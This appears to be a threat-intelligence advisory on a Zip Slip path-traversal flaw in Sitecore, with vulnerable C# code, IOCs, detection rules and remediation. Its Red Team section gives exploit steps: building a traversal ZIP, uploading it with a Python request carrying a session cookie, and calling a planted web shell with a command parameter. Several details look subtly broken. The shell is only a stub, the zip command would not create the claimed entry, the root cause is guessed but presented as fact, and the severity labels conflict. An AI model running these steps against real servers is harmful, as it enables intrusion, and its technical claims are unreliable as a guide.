CVE-2025-34510

Executive Summary

CVE-2025-34510 is a critical Zip Slip vulnerability (CWE-22) affecting Sitecore Experience Manager (XM), Experience Platform (XP), and Experience Commerce (XC) versions 9.0 through 9.3 and 10.0 through 10.4. A remote, authenticated attacker can exploit this flaw by uploading a crafted ZIP archive containing path traversal sequences (e.g., ../). This allows arbitrary file writes outside the intended extraction directory, leading to remote code execution (RCE) on the server. The vulnerability has a CVSS score of 8.8 (High) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the potential for full server compromise.

Supply Chain & Package Security

Sitecore is a proprietary enterprise CMS platform. This vulnerability is not in an open-source package (NPM, PyPI, Go, Ruby) but in the core product itself. Organizations using Sitecore should treat this as a critical supply chain risk and immediately isolate affected systems until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Attacker needs valid Sitecore credentials.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full file read access possible.
• Integrity Impact: High (I:H) – Arbitrary file write leads to code execution.
• Availability Impact: High (A:H) – Can overwrite critical system files.

Threat Level: Critical. Although no public exploit exists, the vulnerability is trivial to exploit once understood, and the impact is complete server takeover.

Deep Dive & Mechanics

The Zip Slip vulnerability arises when an application extracts a ZIP archive without validating file paths. In Sitecore, the file upload functionality for media or package imports does not sanitize path traversal sequences (e.g., ../evil.txt) within ZIP entries. When the archive is extracted, files are written to arbitrary locations on the filesystem.

Attack Flow:

1. Attacker authenticates to Sitecore (e.g., as a content editor or administrator).
2. Attacker crafts a ZIP archive containing a file with a path like ../../App_Config/Include/evil.config.
3. Attacker uploads the ZIP via a vulnerable endpoint (e.g., media upload, package import).
4. Sitecore extracts the archive, writing the file outside the intended directory.
5. If the written file is a web shell (e.g., .aspx in the web root) or a configuration file (e.g., App_Config/Include/), the attacker achieves code execution.

Root Cause: Lack of path normalization in the extraction logic. The code likely uses ZipEntry.Name directly without checking for ../ sequences.

Vulnerable vs. Patched Code

Vulnerable Code (C# example):

using (ZipArchive archive = ZipFile.OpenRead(uploadedFilePath))
{
    foreach (ZipArchiveEntry entry in archive.Entries)
    {
        string destinationPath = Path.Combine(extractPath, entry.FullName);
        entry.ExtractToFile(destinationPath, overwrite: true);
    }
}

This code directly uses entry.FullName without sanitization, allowing path traversal.

Patched Code (Hypothetical):

using (ZipArchive archive = ZipFile.OpenRead(uploadedFilePath))
{
    foreach (ZipArchiveEntry entry in archive.Entries)
    {
        string destinationPath = Path.GetFullPath(Path.Combine(extractPath, entry.FullName));
        if (!destinationPath.StartsWith(Path.GetFullPath(extractPath)))
        {
            throw new InvalidOperationException("Invalid path traversal detected.");
        }
        entry.ExtractToFile(destinationPath, overwrite: true);
    }
}

The patched version normalizes the path and checks that it stays within the intended directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid Sitecore credentials (e.g., admin role).
• Access to a file upload endpoint (e.g., /sitecore/shell/Applications/Media/MediaFolder.aspx or package import).

Step-by-Step Exploit:

1. Create a malicious ZIP archive:

   # Create a web shell (e.g., cmd.aspx)
   echo '<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="cmd.aspx.cs" Inherits="cmd" %>' > cmd.aspx
   # Add it to a ZIP with path traversal
   zip -r exploit.zip ../../sitecore/shell/ClientBin/cmd.aspx
   

2. Upload the ZIP via the vulnerable endpoint (e.g., using Burp Suite or a Python script):

   import requests
   url = "https://target.sitecore.com/sitecore/shell/Applications/Media/MediaFolder.aspx"
   files = {"file": ("exploit.zip", open("exploit.zip", "rb"), "application/zip")}
   cookies = {"ASP.NET_SessionId": "your_session"}
   requests.post(url, files=files, cookies=cookies)
   

3. Access the web shell:

   https://target.sitecore.com/sitecore/shell/ClientBin/cmd.aspx?cmd=whoami
   

Alternative Payload: Overwrite a Sitecore configuration file (e.g., App_Config/Include/evil.config) to disable authentication or enable debugging.

Blue Team (Detection & Hardening)

Detection:

• Monitor for ZIP file uploads to sensitive endpoints (e.g., media upload, package import).
• Look for path traversal patterns in HTTP requests (e.g., ../ in multipart form data).
• Alert on file writes outside the expected upload directory (e.g., C:\inetpub\wwwroot\sitecore\Upload).

Hardening:

• Implement input validation for ZIP entry names (reject ../ or ..\).
• Use a sandboxed extraction library (e.g., SharpZipLib with path validation).
• Restrict write permissions on the web root and configuration directories.
• Enable Windows Defender Application Control (WDAC) to block unauthorized executables.

Indicators of Compromise (IOCs)

File System IOCs:

• Unexpected files in C:\inetpub\wwwroot\sitecore\App_Config\Include\ (e.g., evil.config).
• Web shells in C:\inetpub\wwwroot\sitecore\shell\ClientBin\ (e.g., cmd.aspx).
• Files with path traversal patterns in ZIP archives (e.g., ../../).

Network IOCs:

• HTTP POST requests to /sitecore/shell/Applications/Media/MediaFolder.aspx with Content-Type: multipart/form-data and ZIP files.
• Outbound connections from the Sitecore server to unknown IPs (e.g., for reverse shell).

Log IOCs:

• Sitecore logs showing extraction errors or unexpected file paths.
• Windows Event ID 4663 (file write) for files outside the upload directory.

Detection Engineering

YARA Rule

rule ZipSlip_Sitecore_CVE_2025_34510 {
    meta:
        description = "Detects ZIP archives with path traversal sequences targeting Sitecore"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34510"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $sitecore_path = "sitecore" nocase
        $zip_magic = {50 4B 03 04}  // ZIP local file header
    condition:
        $zip_magic at 0 and any of ($traversal*) and $sitecore_path
}

Sigma Rule

title: Sitecore Zip Slip Exploitation Attempt
id: 8f4b3c2a-1e5d-4f7b-9a0c-3d6e8f2b1a4c
status: experimental
description: Detects HTTP requests containing ZIP files with path traversal patterns targeting Sitecore
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34510
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|contains: '/sitecore/shell/Applications/Media/MediaFolder.aspx'
        cs-content-type|contains: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate ZIP uploads with nested directories (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-34510 Sitecore Zip Slip Exploitation"; flow:to_server; content:"POST"; http_method; content:"/sitecore/shell/Applications/Media/MediaFolder.aspx"; http_uri; content:"multipart/form-data"; http_content_type; content:"../"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected Sitecore instances from the internet if possible.
2. Disable ZIP upload functionality in Sitecore (e.g., remove media upload permissions for non-admin users).
3. Apply virtual patching via WAF rules (e.g., block ../ in multipart form data).

Long-Term Fix:

• Wait for an official patch from Sitecore. Monitor their security advisory page.
• Implement custom path validation in the Sitecore pipeline (e.g., uploadFile processor).
• Upgrade to a patched version once available.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block ZIP uploads containing path traversal:

  location /sitecore/shell/Applications/Media/MediaFolder.aspx {
      if ($request_body ~* "\.\./") {
          return 403;
      }
  }
  

Valters IT
DevSecOps & Cyber Threat Intelligence